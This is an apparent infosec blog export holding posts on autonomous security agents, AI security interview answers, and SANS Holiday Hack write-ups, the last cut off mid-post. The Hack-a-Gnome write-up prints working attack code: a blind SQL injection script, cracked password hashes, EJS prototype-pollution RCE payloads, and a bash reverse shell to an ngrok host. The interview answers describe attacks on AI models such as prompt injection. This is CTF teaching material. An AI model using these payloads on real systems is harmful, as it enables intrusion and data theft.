[{"content":"","date":"1 February 2026","externalUrl":null,"permalink":"/tags/agents/","section":"Tags","summary":"","title":"Agents","type":"tags"},{"content":"","date":"1 February 2026","externalUrl":null,"permalink":"/tags/ai/","section":"Tags","summary":"","title":"AI","type":"tags"},{"content":"Imagine a world where Autonomous Security Agents (ASAs) are the standard; where the \u0026ldquo;cat and mouse\u0026rdquo; game of cybersecurity moves from human speed to machine speed. This world necessitates a shift from manual configuration and reactive patching to a self-healing, constantly evolving digital ecosystem.\nThis means:\nReal-time Remediation: As soon as a software flaw is discovered, a defensive agent drafts, tests, and deploys a micro-patch across the entire network. These may come in the form of ACL changes, network configuration changes, or a software patch / hardening change.\nDynamic Defense: Instead of manually-configured firewalls and host intrusion systems, the network behaves like an immune system. If a defensive agent detects a novel attack pattern, it can instantly \u0026ldquo;quarantine\u0026rdquo; a segment of the network or rewrite access rules to neutralize the threat.\nWho would ultimately be paying for the automated defense systems? # I don\u0026rsquo;t see much change in how the economics of this new world will change from the current world:\nSmall businesses pay a cloud provider to manage their network for them. The cloud provider has a Defensive ASA for protecting the network, and an Offensive ASA for automated and regular penetration tests. Large companies in the banking / insurance / manufacturing sectors, will use cloud providers, or purchase ASAs provided by major tech companies that they can customize (similar to how security software is purchased from security companies today). Major threat actors and governments will be constantly improving their own custom-built ASA, paid for by the black market and tax-payers respectively. Will a few big players dominate the defense systems or there will be multiple good small players in the market? # Similarly to the current market of AI assistants and generative AI tools, there is likely to be a small number of large players who control the infrastructure / hardware required to run the ASAs.\nHowever, small players will emerge as start-ups and ventures that seek to improve ASAs by adding features and differentiating themselves in the market. These are more likely going to be focussed on improving the learning algorithms, or helping customize ASAs to particular industries / companies (similar to SaaS consultants of today).\nClosing thoughts # The most fascinating (and scary) part of this world is the unpredictability. We might see \u0026ldquo;emergent\u0026rdquo; defense strategies where AI agents create complex, maze-like network structures that no human engineer could navigate, simply because it\u0026rsquo;s the most mathematically secure configuration.\nWe may see defensive AI agents quarantine particular employees preemptively, if they perform risky behaviour, who are then forced to prove themselves innocent (similar to the movie Mercy). The purpose and end-goal of these ASAs will have to be defined extremely well.\nThe skills required in such a world, including debugging the output of agents, and reviewing why the agents made certain decisions (analyzing their chain-of-thought) will become more and more sought-after!\nLive and Learn!\nIf you are more interested in the ML side of debugging e.g. model-agnostic methods for interpreting black box models, definitely check out \u0026ldquo;Interpretable Machine Learning: A Guide for Making Black Box Models Explainable\u0026rdquo; at https://christophm.github.io/interpretable-ml-book/\nAlso check out OpenAI\u0026rsquo;s blogpost after the OpenAI-HuggingFace incident, which was a bit of a wake-up call for the cyber security industry.\n","date":"1 February 2026","externalUrl":null,"permalink":"/posts/autonomous-security-agents/","section":"Posts","summary":"Autonomous Security Agents for defense and attack - what the future could look like","title":"Autonomous Security Agents","type":"posts"},{"content":"","date":"1 February 2026","externalUrl":null,"permalink":"/","section":"Devesh's InfoSec Blog","summary":"","title":"Devesh's InfoSec Blog","type":"page"},{"content":"","date":"1 February 2026","externalUrl":null,"permalink":"/posts/","section":"Posts","summary":"","title":"Posts","type":"posts"},{"content":"","date":"1 February 2026","externalUrl":null,"permalink":"/tags/","section":"Tags","summary":"","title":"Tags","type":"tags"},{"content":"Stephen Sims posted some amazing AI security interview questions on his page: https://x.com/Steph3nSims/status/1958600605511164387\nI would love to try and answer them, and help improve my understanding in this space at the same time (I am learning some of these answers as I go).\n1) What are the main differences between securing traditional software systems and securing machine learning models? # Attack surface is broader, including the software components but also the data and the model itself e.g. data poisoning attacks and adversarial examples, model inversion / extraction attacks and data-point inference attacks The logic is often a \u0026ldquo;black box\u0026rdquo; and decision-making process isn\u0026rsquo;t as transparent. Explainability is a hard problem for Gen AI applications. Security is required throughout the whole ML lifecycle e.g. data security, model integrity, input/output validation, and ongoing monitoring Mitigations aren\u0026rsquo;t guaranteed e.g. training a better model is costly and may still be susceptible to attack 2) Define the attack surface of a ML model. # The data pipeline (including training data, inference data / live input) The model itself (model extraction / theft, model inversion) and confidentiality of the training data (membership inference) ML system infrastructure and environment (code vulnerabilities and supply chain attacks on the training infrastructure, or API / container / OS vulnerabilities on the deployment infrastructure, or ACL control weaknesses) 3) How would you generate adversarial examples against a computer vision model? What defenses exist, and what are their limitations? # A great book I recommend for this question is Not with a Bug, But with a Sticker.\nCommon white-box attack methods include: Fast Gradient Sign Method (FGSM): A simple and fast one-step attack. It calculates the gradient of the loss function with respect to the input image (see tensorflow.org article on it) Projected Gradient Descent (PGD): An iterative version of FGSM. It repeatedly applies small updates to the input image in the direction of the gradient and projects the result back into the allowed perturbation range Carlini \u0026amp; Wagner (C\u0026amp;W) Attack: This is a more complex, optimization-based attack that finds the minimal perturbation required to fool the model. See this APXML page for more details. Black-box attacks: Transferability: A key insight is that adversarial examples crafted for one model often \u0026ldquo;transfer\u0026rdquo; and successfully fool another model, even with a different architecture or training data. An attacker can train a \u0026ldquo;surrogate\u0026rdquo; model to mimic the target model\u0026rsquo;s behaviour and then generate adversarial examples using white-box methods on the surrogate model. These examples are then used to attack the real black-box model. Query-Based Attacks: These attacks directly interact with the target model. They iteratively perturb the input and use the model\u0026rsquo;s output (e.g. predicted class, confidence scores) to guide the search for an adversarial example. Since gradient information is unavailable, these methods rely on approximation techniques. Defenses and Their Limitations Adversarial Training: augment the training data with adversarial examples and train the model on this expanded dataset Limitations: high computational cost (e.g. examples generated using FGSM or PGD), and specificity (examples may be too specific) Input Transformation and Pre-processing: \u0026ldquo;sanitize\u0026rdquo; the input image before it is fed to the model, removing the adversarial perturbation e.g. using compression or feature squeezing Limitations: degradation of quality of clean images, and attackers can adapt their example creation pipelines to also use these transformations Gradient masking: obfuscate or \u0026ldquo;mask\u0026rdquo; the gradients of the model, making it difficult for an attacker to use them to generate an effective adversarial example Limitations: Security Through Obscurity / does not work against transferable attacks Detection-Based Defenses: A separate model or statistical method is trained to distinguish between clean and adversarial examples based on their statistical properties Limitations: computational overhead, attacker finding a new adversarial example that fools both models 4) Why is gradient obfuscation a weak defense against adversarial attacks? # It creates an illusion of security by breaking the common gradient-based attacks (like FGSM or PGD) that are used for evaluation. A truly robust model has a smooth, well-behaved loss landscape that is difficult for an attacker to exploit. Gradient obfuscation does not alter this fundamental landscape; it simply hides or distorts the gradient, which is the tool used to navigate that landscape. The underlying vulnerability of the model to subtle perturbations remains.\n5) What are some realistic data poisoning threats in enterprise AI pipelines/workflows? # Financial Services (Fraud Detection): An attacker injects a stream of fraudulent transactions and labels them as legitimate. Over time, the fraud detection model learns to classify these transactions as benign, allowing a larger-scale, undetected fraud scheme to proceed. Spam Filtering: A disgruntled former employee or an attacker injects a high volume of legitimate emails with \u0026ldquo;spam\u0026rdquo; labels into the training data for an enterprise spam filter. Corporate Security (Facial Recognition): A malicious actor poisons the training data for an AI-powered facial recognition system used for building access. They inject images of an authorized employee with a small, specific pattern (e.g. a logo on a hat). The model learns to grant access whenever it sees that specific pattern, regardless of whose face it is, creating a backdoor that can be exploited by anyone with the \u0026ldquo;key\u0026rdquo;. 6) How would you go about determining if a model or dataset has been poisoned? # Pre-Training Detection (Dataset-Centric): Data governance and access controls. Use tools for data lineage to trace a data point back to its source. Any data from an unverified or unknown source should be flagged for manual review. Outlier and Anomaly Detection e.g. unsupervised clustering methods like DBSCAN, or statistical measures like z-scores or Isolation Forests (anomaly detection using binary trees). Label and Feature Integrity Checks: Check for suspicious labels or features that don\u0026rsquo;t align with the rest of the dataset. Post-Training Detection (Model-Centric): Performance Monitoring e.g. accuracy, precision, and recall on a known, clean validation set Behavioral Analysis and Canary Tests i.e. this codeflow should never be triggered Neural Cleanse and Backdoor Trigger Inversion: This is a more advanced technique that specifically targets backdoor attacks. It works by reverse-engineering potential triggers. 7) How can an attacker perform model inversion or membership inference and what\u0026rsquo;s the potential consequence? # They exploit the fact that models, especially those that are overfitted, can \u0026ldquo;memorize\u0026rdquo; details about their training data, which can then be revealed through clever queries. Membership Inference Attack: train a shadow model that mimics the target model\u0026rsquo;s behaviour on a known supervised dataset, then train an attack model which can detect / infer membership of a data point on the shadow model. For a given input, the attack model will be trained on the shadow model\u0026rsquo;s output (e.g. probability vectors) and the true label (member or non-member). Finally, the attacker queries the target model with the data point in question and feeds the model\u0026rsquo;s output to the trained attack model. Model Inversion Attack: The attacker starts with a random input and a known target class (e.g. a person\u0026rsquo;s name). The attacker repeatedly queries the model and uses a gradient-based optimization algorithm to iteratively adjust the random input. The goal is to find an input that maximizes the model\u0026rsquo;s confidence in the target class. Over many iterations, the random input will converge into a reconstructed image or data point that is a good representation of the data used to train the model for that specific class. 8) What mitigations would you apply if an LLM is used for code generation to avoid insecure or undesired outputs? # Defense in depth Prompt Engineering with security in mind e.g. contextual guardrails and role-based constraints Fine-tuning e.g. create a custom dataset containing pairs of insecure code snippets and their secure, refactored versions. Train with secure coding lifecycle practices (use only trusted libraries, scan for banned functions, compile with exploit mitigations, perform static analysis etc) while still having a human in the loop for validation Perform static analysis and any code execution or testing should be in a sandbox environment prior to release Forbid dangerous constructs (system, eval, dangerous query types) Solid dynamic analysis and validation 9) When red teaming an AI product or implementation what methodologies have you followed? # Scoping Reconnaissance and Information Gathering Scenario-Based Adversarial Testing e.g. Prompt Injection and Jailbreaking, Adversarial Machine Learning e.g. adversarial examples, data poisoning simulations, model inversion and membership inference, model extraction / theft Automated Fuzzing and Attack Generation e.g. using Microsoft\u0026rsquo;s PyRIT or NVIDIA\u0026rsquo;s Garak. Create Actionable Recommendations e.g. improve the system prompt, implement input sanitization, or integrate a separate security filter 10) If a company deployed an LLM for customer interactions, what three attack vectors would concern you most, and would it change based on the relevant vertical market? # Prompt Injection: An attacker could force the LLM to reveal its system prompt, act as a proxy for malicious activity, or generate harmful content that could damage the company\u0026rsquo;s reputation. Data Exfiltration: using the LLM to retrieve and reveal sensitive information from its training data, context, or connected systems Denial Of Service: incur massive cloud bills for the company or make the service unavailable for legitimate users, leading to a loss of business. 11) What are the main trade-offs between model accuracy and privacy-preserving training methods like DP-SGD, federated learning, or homomorphic encryption? # Differential Privacy with Stochastic Gradient Descent (DP-SGD): Differential Privacy (DP) provides a rigorous, mathematical guarantee that the inclusion or exclusion of a single person\u0026rsquo;s data point will not significantly affect the final model. DP-SGD achieves this by adding a carefully calibrated amount of random noise to the gradients during the model\u0026rsquo;s training process. The amount of noise added to the gradients is controlled by a privacy budget (ϵ). A smaller ϵ provides stronger privacy guarantees, but it also adds more noise, which degrades the model\u0026rsquo;s accuracy. A higher ϵ weakens the privacy but allows the model to be more accurate. DP-SGD requires careful tuning of hyperparameters, including the privacy budget, clipping norm, and learning rate. Incorrect tuning can either compromise privacy or severely harm model performance. Federated Learning (FL): allows multiple organizations or devices to collaboratively train a shared model without exchanging raw data. Instead, each participant trains a local model on their private data, and only the model updates (gradients or weights) are sent to a central server to be aggregated into the global model. If the data across different clients is highly non-IID (non-independent and identically distributed), meaning the data distributions vary significantly, the aggregated model can suffer from \u0026ldquo;client drift\u0026rdquo; and perform poorly. This is a primary source of accuracy loss in FL. While FL prevents the sharing of raw data, it is not a complete privacy solution on its own. An attacker on the central server could perform a model inversion attack by analyzing the shared model updates to infer information about individual clients\u0026rsquo; training data. An attacker could also add malicious updates to poison the global model. Homomorphic Encryption (HE): a cryptographic method that allows computations to be performed directly on encrypted data without decrypting it first. This means a server can aggregate model updates from clients or even perform the entire training process on encrypted data without ever seeing the raw data or gradients in plaintext. Performing computations on encrypted data is orders of magnitude slower and more resource-intensive than on plaintext. This makes HE currently impractical for training large, complex deep learning models in real-time. Live and Learn!\nBig thanks for Stephen Sims (@Steph3nSims) for creating these questions, and provoking me to clarify my knowledge on these topics!\n","date":"29 January 2026","externalUrl":null,"permalink":"/posts/ai-security-interview-questions/","section":"Posts","summary":"Answering AI security interview questions from Stephen Sims","title":"AI security interview questions from Stephen Sims","type":"posts"},{"content":"","date":"29 January 2026","externalUrl":null,"permalink":"/tags/interview/","section":"Tags","summary":"","title":"Interview","type":"tags"},{"content":"","date":"16 January 2026","externalUrl":null,"permalink":"/tags/holidayhack/","section":"Tags","summary":"","title":"HolidayHack","type":"tags"},{"content":"","date":"16 January 2026","externalUrl":null,"permalink":"/tags/kringlecon/","section":"Tags","summary":"","title":"KringleCon","type":"tags"},{"content":"","date":"16 January 2026","externalUrl":null,"permalink":"/tags/sans/","section":"Tags","summary":"","title":"SANS","type":"tags"},{"content":"In the SANS Holiday Hack Challenge (HHC) of 2025, there was a challenge named Hack-a-Gnome, which was rated 3/5 difficulty, however it definitely felt harder than that to me. The following is my write-up of my solution to this challenge, and at the end of the article I will also mention a few of my other favourite challenges from this year\u0026rsquo;s SANS HHC.\nDavis in the Data Center is fighting a gnome army—join the hack-a-gnome fun.\nThe challenge is/was hosted at: https://hhc25-smartgnomehack-prod.holidayhackchallenge.com/login\nInitial point of entry (Blind SQLi) # On the login page, we can also see a feature to register a new user. Although we are unable to register a new user, we do see an interesting backend request to check whether the new user username is available or not. Additionally, a simple SQL Injection check reveals that this request is likely vulnerable:\nInitial SQL Injection proof of concept in the userAvailable request The error also reveals some interesting strings related to Azure, which we find are related to CosmosDB when we search them on the internet.\nBlind SQLi seems to work:\nhttps://hhc25-smartgnomehack-prod.holidayhackchallenge.com/userAvailable?username=\u0026quot;+OR+\u0026quot;1\u0026quot;%3d\u0026quot;1\nThe above URL returns available: false, while the following URL returns available: true:\nhttps://hhc25-smartgnomehack-prod.holidayhackchallenge.com/userAvailable?username=\u0026quot;+OR+\u0026quot;1\u0026quot;%3d\u0026quot;2\nThis means that we can perform Boolean logic to confirm whether something is true by looking at the negation of the available flag that is returned.\nLooking at query examples in CosmosDB, we see that fields are queried by using an alias for a table name followed by the table name. After some brute forcing, we find the username fieldname to be queryable using c.username. The following python script shows an example of how we can extract data using Blind SQLi - we compare one character of the returned result with a value we provide, and check whether available: false is returned. If we have a match on the character, we can move onto the next character to check against.\nUsing this approach, we find two usernames: bruce and harold. Additionally, we can use a wordlist of field names to find the existence of the c.digest field, which likely stores the hash for the users. The following script can be used to extract bruce\u0026rsquo;s hash using Blind SQLi:\nimport requests, string final = \u0026#39;\u0026#39; for i in range(50): url = \u0026#39;https://hhc25-smartgnomehack-prod.holidayhackchallenge.com/userAvailable?username=\u0026#34;+OR+c.username%3d\u0026#34;bruce\u0026#34;+AND+SUBSTRING(c.digest,\u0026#39; + str(i) + \u0026#39;,1)%3d\u0026#34;\u0026#39; for char in string.printable: urltotry = url + char #print(urltotry) res = requests.get(urltotry) if \u0026#39;false\u0026#39; in res.text: print(\u0026#39;char at pos \u0026#39; + str(i) + \u0026#39;: \u0026#39; + str(char)) final += str(char) break print(final) Bruce\u0026rsquo;s digest: d0a9ba00f80cbc56584ef245ffc56b9e (which is the MD5 hash of the password: oatmeal12) Harold\u0026rsquo;s digest: 07f456ae6a94cb68d740df548847f459 (which is the MD5 hash of the password: oatmeal!!) Prototype Pollution # Now that we have credentials to login, we are met with the following web page:\nInitial Login Screen When we move the robot on the screen, we see the following request with JSON being sent in the background: https://hhc25-smartgnomehack-prod.holidayhackchallenge.com/ctrlsignals?message=%7B%22action%22%3A%22move%22%2C%22direction%22%3A%22up%22%7D\nThe message parameter decodes to:\n{\u0026#34;action\u0026#34;:\u0026#34;move\u0026#34;,\u0026#34;direction\u0026#34;:\u0026#34;up\u0026#34;} Additionally, we find another action being sent when \u0026ldquo;updating the name\u0026rdquo; of the bot (see green button at the bottom of the above screenshot) which sends the following JSON:\n{\u0026#34;action\u0026#34;:\u0026#34;update\u0026#34;,\u0026#34;key\u0026#34;:\u0026#34;settings\u0026#34;,\u0026#34;subkey\u0026#34;:\u0026#34;name\u0026#34;,\u0026#34;value\u0026#34;:\u0026#34;test\u0026#34;} It seems like sending this request updates the gnome_config_object that can be seen at the bottom of the web page:\n{\u0026#34;settings\u0026#34;:{\u0026#34;name\u0026#34;:\u0026#34;GnomeBot37452\u0026#34;,\u0026#34;model_version\u0026#34;:\u0026#34;2.3.8\u0026#34;,\u0026#34;firmware_version\u0026#34;:\u0026#34;GNM-4.12.0\u0026#34;}} The vulnerability here is likely \u0026ldquo;prototype pollution\u0026rdquo; where we can \u0026ldquo;pollute\u0026rdquo; properties in javascript objects. To get RCE, we probably need to replace a function that is called by the server on a page load, rather than replacing shell or env (as this would only be executed when the server is reloaded).\nSee potential candidates to pollute here: https://github.com/KTH-LangSec/server-side-prototype-pollution\nWe eventually find an interesting response from the server when we try to replace __proto__.escapeFunction as follows:\n{\u0026#34;action\u0026#34;:\u0026#34;update\u0026#34;,\u0026#34;key\u0026#34;:\u0026#34;__proto__\u0026#34;,\u0026#34;subkey\u0026#34;:\u0026#34;escapeFunction\u0026#34;,\u0026#34;value\u0026#34;:\u0026#34;JSON.stringify; process.mainModule.require(\u0026#39;child_process\u0026#39;).exec(\u0026#39;curl test.oast.pro\u0026#39;)\u0026#34;} When we next try to load the website, we receive an error that reveals the template engine being used:\nError revealing template engine From above, it seems like \u0026ldquo;EJS\u0026rdquo; is the template engine being used, which in the past has had CVEs such as CVE-2022-29078: https://security.snyk.io/vuln/SNYK-JS-EJS-2803307 Since escapeFunction is not defined / used by this version of the template engine, we try another potential method for RCE as mentioned in the CVE above: __proto__.outputFunctionName. For example, we can try to receive data via error messages using:\n{\u0026#34;action\u0026#34;:\u0026#34;update\u0026#34;,\u0026#34;key\u0026#34;:\u0026#34;__proto__\u0026#34;,\u0026#34;subkey\u0026#34;:\u0026#34;outputFunctionName\u0026#34;,\u0026#34;value\u0026#34;:\u0026#34;x;process.mainModule.require(\u0026#39;child_process\u0026#39;).execSync(\u0026#39;$(cat canbus_client.py | base64)\u0026#39;)\u0026#34;} Using error messages to extract data, I created the following python script to execute a command, output it\u0026rsquo;s results to output.txt on the server, and then repeatedly use $(tail output.txt | base64) to extract the contents of output.txt 1 line at a time. This worked because the server would try to execute the base64 as a command, error out, and then show the command that it tried to execute in the returned error:\nimport requests, base64 import urllib.parse cookies = {\u0026#39;connect.sid\u0026#39;: \u0026#39;s%3AJcsozL7KhBDWgfaUmSXRl-mQThxKk7_j.lEvKTYqTBA1SKQzm9mfKiD1CXaNbT44%2FTQA0QjltTis\u0026#39;} statsurl = \u0026#39;https://hhc25-smartgnomehack-prod.holidayhackchallenge.com/stats\u0026#39; url = \u0026#39;https://hhc25-smartgnomehack-prod.holidayhackchallenge.com/ctrlsignals?message=\u0026#39; commandToExecute = \u0026#39;cat README.md\u0026#39; jsonpayload = \u0026#34;{\\\u0026#34;action\\\u0026#34;:\\\u0026#34;update\\\u0026#34;,\\\u0026#34;key\\\u0026#34;:\\\u0026#34;__proto__\\\u0026#34;,\\\u0026#34;subkey\\\u0026#34;:\\\u0026#34;outputFunctionName\\\u0026#34;,\\\u0026#34;value\\\u0026#34;:\\\u0026#34;x;process.mainModule.require(\u0026#39;child_process\u0026#39;).execSync(\u0026#39;\u0026#34; + commandToExecute + \u0026#34; | fold -w 50 \u0026gt; output.txt\u0026#39;)\\\u0026#34;}\u0026#34; print(\u0026#34;Executing: \u0026#34; + commandToExecute) requests.get(url + urllib.parse.quote_plus(jsonpayload), cookies=cookies) requests.get(statsurl, cookies=cookies) for i in range(100): jsonpayload = \u0026#34;{\\\u0026#34;action\\\u0026#34;:\\\u0026#34;update\\\u0026#34;,\\\u0026#34;key\\\u0026#34;:\\\u0026#34;__proto__\\\u0026#34;,\\\u0026#34;subkey\\\u0026#34;:\\\u0026#34;outputFunctionName\\\u0026#34;,\\\u0026#34;value\\\u0026#34;:\\\u0026#34;x;process.mainModule.require(\u0026#39;child_process\u0026#39;).execSync(\u0026#39;$(tail -n +\u0026#34; + str(i) + \u0026#34; output.txt | head -n 1 | base64)\u0026#39;)\\\u0026#34;}\u0026#34; res = requests.get(url + urllib.parse.quote_plus(jsonpayload), cookies=cookies) if \u0026#34;Updated __proto__.outputFunctionName\u0026#34; in res.text: # continue attacking by reading output res = requests.get(statsurl, cookies=cookies) if \u0026#34;Command failed:\u0026#34; in res.text: # extract base64 payload print(base64.b64decode(res.text.split(\u0026#39;/bin/sh: 1: \u0026#39;)[1].split(\u0026#39;:\u0026#39;)[0]).decode(\u0026#39;utf-8\u0026#39;), end=\u0026#34;\u0026#34;) else: if \u0026#34;Invalid left-hand side in assignment\u0026#34; in res.text: exit() print(\u0026#39;FAIL executing command: \u0026#39; + res.text) else: print(\u0026#39;FAIL prototype pollution: \u0026#39; + res.text) However, there is a better approach - we can execute a reverse shell using the following JSON payload:\ncommandToExecute = \u0026#39;bash -c \\\\\u0026#34;bash -i \u0026gt;\u0026amp; /dev/tcp/0.tcp.ngrok.io/13935 0\u0026gt;\u0026amp;1\\\\\u0026#34;\u0026#39; jsonpayload = \u0026#34;{\\\u0026#34;action\\\u0026#34;:\\\u0026#34;update\\\u0026#34;,\\\u0026#34;key\\\u0026#34;:\\\u0026#34;__proto__\\\u0026#34;,\\\u0026#34;subkey\\\u0026#34;:\\\u0026#34;outputFunctionName\\\u0026#34;,\\\u0026#34;value\\\u0026#34;:\\\u0026#34;x;process.mainModule.require(\u0026#39;child_process\u0026#39;).execSync(\u0026#39;\u0026#34; + commandToExecute + \u0026#34;\u0026#39;)\\\u0026#34;}\u0026#34; Using this command (and making sure to URL encode our payload), we receive a reverse shell! Note that we used ngrok.io to tunnel the shell to our local machine which is behind a NAT.\nCANbus Exploitation # We are also provided with the following hint for the challenge:\nNice! Once you have command-line access to the gnome, you\u0026rsquo;ll need to fix the signals in the canbus_client.py file so they match up correctly. After that, the signals you send through the web UI to the factory should properly control the smart-gnome. You could try sniffing CAN bus traffic, enumerating signals based on any documentation you find, or brute-forcing combinations until you discover the right signals to control the gnome from the web UI.\nUsing our reverse shell, we setup a pty, and test out using the canbus python script provided to us:\nroot@998b0c3759e1:/app# python3 -c \u0026#39;import pty; pty.spawn(\u0026#34;/usr/bin/bash\u0026#34;)\u0026#39; root@998b0c3759e1:/app# python3 canbus_client.py 0x650\tusage: canbus_client.py [-h] {up,down,left,right,listen} canbus_client.py: error: argument command: invalid choice: \u0026#39;0x650\u0026#39; (choose from \u0026#39;up\u0026#39;, \u0026#39;down\u0026#39;, \u0026#39;left\u0026#39;, \u0026#39;right\u0026#39;, \u0026#39;listen\u0026#39;) It looks like this script supports certain commands, and we need to adjust the hardcoded values in the script to appropriately move the robot on the factory floor. From the README.md file, we gather that 0x3XX commands are status commands, and 0x4XX are request commands.\nWe can try to brute force other commands, for example let\u0026rsquo;s try looping through 0x00-0x2FF, and monitor the robot to see if anything happens. We copy over the canbus client script to our local machine, and replace the command-sending code near the bottom to:\nif args.command == \u0026#34;listen\u0026#34;: listen_for_messages(bus) else: for command_id in range(0x00,0x2ff): print(\u0026#34;sending command_id: \u0026#34; + str(command_id)) send_command(bus, command_id) # Give a moment for the message to be potentially processed if listening elsewhere time.sleep(2) To copy our copy of the canbus script over to the remote host, we can base64 encode it, and copy it over to the server. The following helper command will output the base64 version of our local script all in one line:\n$ base64 canbus_client_copy.py -w 0 Once copied over, we can then run our test script to loop through all the commands, while watching the robot to see if it moves in the background:\nroot@998b0c3759e1:/app# base64 -d test.py.base64 \u0026gt; test.py root@998b0c3759e1:/app# python3 test.py As our script is executing commands, we see the robot move when the client sends commands in the early 0x200s. After some iterations of editing our script to be more precise with sending commands, we find that the following commands map to the following moves:\n0x201 - up 0x202 - down 0x203 - left 0x204 - right We can now run the original canbus_client.py with these modified commands to move the robot wherever we wish:\nMoving the robot around with the modified script From here, we can solve the Sokoban challenge by hand (which I personally enjoyed very much).\nFrom the start, we can use the following moves to get to the exit: down, down, down, down, left, down, left, left, left, up, left, up, up, left, up, up, left. This leads to us reaching the control to shut down the factory:\nCompleting the challenge And that\u0026rsquo;s the challenge! A huge thanks to the challenge author(s) for creating such a unique and fun challenge!\nLive and Learn!\nHere is a summary of some of my other favourite challenges from this year\u0026rsquo;s SANS Holiday Hack Challenge:\nThe Rogue Gnome Identity Provider challenge involved exploiting an IDP server that used JWT tokens and a JSON web key to verify the signature of the tokens. As explained in this Invicti article, without proper validation of the JKU parameter, an attacker can supply a JSON web key set (JWKS) of their own, potentially allowing the creation of forged JWTs with arbitrary payloads. The Quantgnome Leap challenge teaches us about different key generation algorithms that can be used in a post-quantum setting. For example, we authenticate with a post-quantum hybrid key which uses 2 signatures (a classical elliptic curve and a post-quantum scheme called SPHINCS+). We can read about stronger algorithms here: https://openquantumsafe.org/liboqs/algorithms/ The Gnome Tea challenge involved a web application that used firebase in the backend. The vulnerabilities included open firestore collections, open Firebase storage buckets, and GPS information revealed in exif data of a photo. ","date":"16 January 2026","externalUrl":null,"permalink":"/posts/sans-holiday-hack-2025-2026/","section":"Posts","summary":"Read my write-up for my favourite challenges from SANS Holiday Hack 2025-2026","title":"SANS Holiday Hack 2025-2026: Hack-a-Gnome","type":"posts"},{"content":" Intro # In the SANS Holiday Hack Challenge (HHC) of 2024, there was a challenge named Decrypt the Naughty-Nice List, where we are provided with a file that has been encrypted with a ransomware called \u0026ldquo;Frostbit\u0026rdquo;, and some artefacts from the machine the file was encrypted on. This was easily the hardest challenge of the SANS HHC 2024, and this is why I wanted to create my write-up for it.\nAs part of the challenge, we are provided with the following files:\nDoNotAlterOrDeleteMe.frostbin.json: a JSON file that shows our ransomware status ID and a \u0026ldquo;digest\u0026rdquo; value frostbit_core_dump.13: a core dump file from the frostbit ransomware process frostbit.elf: the actual ransomware binary naughty_nice_list.csv.frostbit: the file that was encrypted by the ransomware ransomware_traffic.pcap: some TLS encrypted traffic that the ransomware sent / received in a PCAP We are also told the following hints from the in-game elves, to help us along the way:\nUsing tools like strings to find secrets in memory, decrypt network traffic, and run strace to see what malware does or executes There\u0026rsquo;s a new ransomware spreading at the North Pole called Frostbit. Its infrastructure looks like code I worked on, but someone modified it to work with the ransomware. If it is our code and they didn\u0026rsquo;t disable dev mode, we might be able to pass extra options to reveal more information. If they are reusing our code or hardware, it might also be broadcasting MQTT messages. The Frostbit ransomware appears to use multiple encryption methods. Even after removing TLS, some values passed by the ransomware seem to be asymmetrically encrypted, possibly with PKI. The infrastructure may also be using custom cryptography to retrieve ransomware status. If the creator reused our cryptography, the infrastructure might depend on an outdated version of one of our libraries with known vulnerabilities. There may be a way to have the infrastructure reveal the cryptographic library in use. Let\u0026rsquo;s start with the first hint, and run strings on the coredump / memory file:\n$ strings frostbit_core_dump.13 \u0026lt;---------SNIP---------\u0026gt; CLIENT_HANDSHAKE_TRAFFIC_SECRET 20c50c9fc347c994721baeb623ffa6ae880f716237250225e525ee2f7d2fc329 3dd43e1431ecc2f8fe07e74c500851dda0374b00f19442db852901e1b4e6584f SERVER_HANDSHAKE_TRAFFIC_SECRET 20c50c9fc347c994721baeb623ffa6ae880f716237250225e525ee2f7d2fc329 fde1226f4edc28be9d71c4b01e9524151f9b333caf53a4dd835883ff1ddc345e CLIENT_TRAFFIC_SECRET_0 20c50c9fc347c994721baeb623ffa6ae880f716237250225e525ee2f7d2fc329 542d029ebb88b5f874dbdc62dbe0cedee4c87d5dfe5bc92e786789394ce68e29 SERVER_TRAFFIC_SECRET_0 20c50c9fc347c994721baeb623ffa6ae880f716237250225e525ee2f7d2fc329 f7f89f9d2d6796ba370183efc4b7a3e11d821929f6faec94186f4c0e2c1eb587 POST /api/v1/bot/\u0026lt;REDACTED-UUID\u0026gt;/key HTTP/1.1 Host: api.frostbit.app User-Agent: Go-http-client/1.1 Content-Length: 1070 Content-Type: application/json Accept-Encoding: gzip {\u0026#34;encryptedkey\u0026#34;:\u0026#34;82dd12c4cb71cb82947dad68ce4a2f0f71298155ecf2674363e69bc9d16ae83513b023279ca0f54f0330835d3cac4deb0f9e18a201025c6156bfd8ce60f1d9e3a11b3a329380cd539419a44854d13ac6aa868494ef766afb0d405caead6e3f28fccf11551cc634e4832048895a6455a3ff48597bab46e6c0870c71e5cdedcbc9dbf0f93378e74dc04f89a5620530518c1e766dbf7706d5e0323e3defbe0bb7b3dd82f6c4558c711bc64b4a4a42fd35ce097b81fceb570c230002652730ea3b8e734d595b667d3350acc20a96025ea09ca0d939350b16fe5b5beba0771613c032b4e88fa7ed9e808f2ca26a1a62a1d068de87cbdd0267e45ca644981bd9da8da50765faf9d5743b25ba122af427657b6b237f825872f63a44e281657e5223263cd0c2ab20ccbd7d291ca502996d420374c5592805cf609e5fccdfeb72832bf047737bea55482632a7279754b544edd08dde701ef9e3476d7920c9116bd2e39fd75902da22795d91e81f61d541493fd019bc9c754e90bebe842f922dceb00d16027c56c41d98eaaf1298f4b87d245fc79fcbb9a1687510fe36de9dbd3c9faa425624c6e5194a986d0deeb31f71f7820be4565bad5e597ec8d701c5c267224dda7d3e66476959e0105d248f53176f8e6f4018bb2ea4b1c271bce85b87c26a68cfdb2a496a0260649fd118e347ca13d72f613782d1bfeed1dc4f1f63477b88e6c2e6\u0026#34;,\u0026#34;nonce\u0026#34;:\u0026#34;\u0026#34;} \u0026lt;---------CTRL+C---------\u0026gt; The strings utility quickly returns some very useful information and seems to pause right after printing the JSON that includes the encryptedkey (as if it is still processing the rest of the file), so we ctrl+c at this point to note down what we have so far:\nWe have some TLS handshake secrets, which can likely be used to decrypt traffic within the PCAP file we are provided We see a POST request to api.frostbit.app And we have a JSON object that includes the encryptedkey but doesn\u0026rsquo;t include the nonce We can now copy the 4 secrets in the output to a file, so that we can use it to decrypt TLS traffic in Wireshark. You can follow instructions like these to decrypt TLS traffic using Wireshark and pre-shared keys. The following is a screenshot of the traffic seen in Wireshark after decryption:\nWireshark screenshot of traffic after TLS decryption Notably, we see traffic to the same host (api.frostbit.app) as before, however we now have one piece of extra information: the nonce! It looks like the frostbit ransomware is a Go binary that receives a nonce from the server, and then sent the encryptedkey back to the server. We also see that the server is an nginx server, running version 1.27.1.\nRansomware commonly encrypts files using a symmetric cipher, as it is faster to execute, 